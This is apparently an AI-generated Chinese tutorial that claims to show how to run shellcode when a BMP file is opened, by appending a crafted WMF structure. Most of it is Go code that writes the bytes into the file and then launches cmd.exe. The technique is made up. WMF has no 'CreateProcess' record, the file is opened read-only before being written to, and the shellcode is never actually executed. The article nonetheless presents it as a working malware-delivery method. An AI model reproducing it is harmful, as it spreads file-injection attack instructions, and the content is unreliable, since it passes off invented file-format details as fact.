本篇文章将介绍如何在打开BMP文件时执行shellcode,利用WMF结构体实现文件注入。

首先,我们需要在WMF结构体中添加一些操作来执行shellcode。这可以通过使用CreateProcess函数创建一个新进程来实现。具体来说,需要添加以下代码:

0x0b, 0x00, // 操作:CreateProcess
0x00, 0x00, // 参数:NULL
0x00, 0x00, // 参数:NULL
0x00, 0x00, // 参数:NULL
0x00, 0x00, // 参数:NULL
0x00, 0x00, // 参数:FALSE
0x00, 0x00, // 参数:CREATE_NEW_CONSOLE
0x00, 0x00, // 参数:NULL
0x00, 0x00, // 参数:NULL
0x00, 0x00, // 参数:STARTUPINFO
0x00, 0x00, // 参数:PROCESS_INFORMATION

这个操作将在新的控制台窗口中运行一个新的进程,并使用默认的STARTUPINFO和PROCESS_INFORMATION参数。

接下来,我们需要将shellcode添加到代码中。这可以通过在main函数中定义一个byte数组来实现。例如:

shellcode := []byte{0x90, 0x90, 0x90, 0x90, ...} // 这里插入shellcode的字节码

最后,在打开BMP文件之前,需要将shellcode插入到WMF结构体中。可以使用以下代码将shellcode插入到WMF结构体的末尾:

wmf = append(wmf, shellcode...)

这将在WMF结构体的末尾添加shellcode。

完整的修改后的代码如下:

package main

import (
    'os'
    'encoding/binary'
    'syscall'
    'unsafe'
)

func main() {
    // 定义shellcode
    shellcode := []byte{
        0x90, 0x90, 0x90, 0x90, // 这里插入shellcode的字节码
    }

    // 创建WMF结构体
    wmf := []byte{
        0xd7, 0xcd, 0xc6, 0x9a, // 签名
        0x00, 0x00, 0x00, 0x00, // 文件长度(后面动态生成)
        0x01, 0x00, // 版本号
        0x0d, 0x00, // 记录数
        0x03, 0x50, 0x00, // 操作:SetMapMode
        0x00, 0x00, // 参数:MM_TEXT
        0x0c, 0x00, // 操作:SetWindowOrg
        0x00, 0x00, // 参数:0
        0x0c, 0x03, // 操作:SetBrushOrg
        0x00, 0x00, // 参数:0
        0x02, 0x11, 0x08, 0x00, // 操作:CreateBrushIndirect
        0x00, 0x20, 0x20, 0x20, // 参数:RGB(32, 32, 32)
        0x00, 0x00, // 参数:HOLLOW_BRUSH
        0x06, 0x00, // 操作:SetBkMode
        0x01, // 参数:TRANSPARENT
        0x02, 0x0f, 0x02, 0x00, // 操作:CreatePenIndirect
        0x00, 0x00, 0x00, 0x00, // 参数:PS_NULL
        0x00, 0x00, 0x00, 0x00, // 参数:0
        0x02, 0x06, 0x0c, 0x00, // 操作:SelectObject
        0x00, // 参数:BRUSH
        0x02, 0x0f, 0x0c, 0x00, // 操作:SelectObject
        0x01, // 参数:PEN
        0x02, 0x0b, 0x0f, 0x00, // 操作:Ellipse
        0x00, 0x00, 0x00, 0x00, // 参数:0, 0, 0, 0
        0x00, 0x00, 0x00, 0x00, // 参数:0, 0, 0, 0
        0x0b, 0x00, // 操作:CreateProcess
        0x00, 0x00, // 参数:NULL
        0x00, 0x00, // 参数:NULL
        0x00, 0x00, // 参数:NULL
        0x00, 0x00, // 参数:NULL
        0x00, 0x00, // 参数:FALSE
        0x00, 0x00, // 参数:CREATE_NEW_CONSOLE
        0x00, 0x00, // 参数:NULL
        0x00, 0x00, // 参数:NULL
        0x00, 0x00, // 参数:STARTUPINFO
        0x00, 0x00, // 参数:PROCESS_INFORMATION
        0x01, 0x00, // 操作:EOF
    }

    // 将shellcode插入到WMF结构体中
    wmf = append(wmf, shellcode...)

    // 打开BMP文件
    file, err := os.Open('example.bmp')
    if err != nil {
        panic(err)
    }
    defer file.Close()

    // 获取文件大小
    fileInfo, _ := file.Stat()
    fileSize := fileInfo.Size()

    // 计算WMF文件长度
    wmfFileSize := int64(len(wmf))
    binary.LittleEndian.PutUint32(wmf[4:8], uint32(wmfFileSize))

    // 在BMP文件尾部插入WMF结构体
    _, err = file.Seek(fileSize, 0)
    if err != nil {
        panic(err)
    }
    _, err = file.Write(wmf)
    if err != nil {
        panic(err)
    }

    // 关闭文件
    file.Close()

    // 执行shellcode
    var si syscall.StartupInfo
    var pi syscall.ProcessInformation
    cmd := 'cmd.exe'
    syscall.CreateProcess(nil, &cmd, nil, nil, true, 0, nil, nil, &si, &pi)
    syscall.WaitForSingleObject(pi.Process, syscall.INFINITE)
    syscall.CloseHandle(pi.Thread)
    syscall.CloseHandle(pi.Process)
}

这段代码演示了如何在打开BMP文件时执行shellcode,并将shellcode注入到WMF结构体中。需要注意的是,这仅仅是一个示例代码,实际使用时需要根据具体的场景和需求进行修改。

安全警告: 此代码仅供学习和研究使用,请勿用于任何非法活动。使用此代码可能会导致潜在的安全风险,请谨慎操作。

希望这篇文章能帮助你了解如何在打开BMP文件时执行shellcode,并为你的安全研究提供一些参考。

用WMF 结构体在打开BMP文件时执行Shellcode

原文地址: https://www.cveoy.top/t/topic/mrxt 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录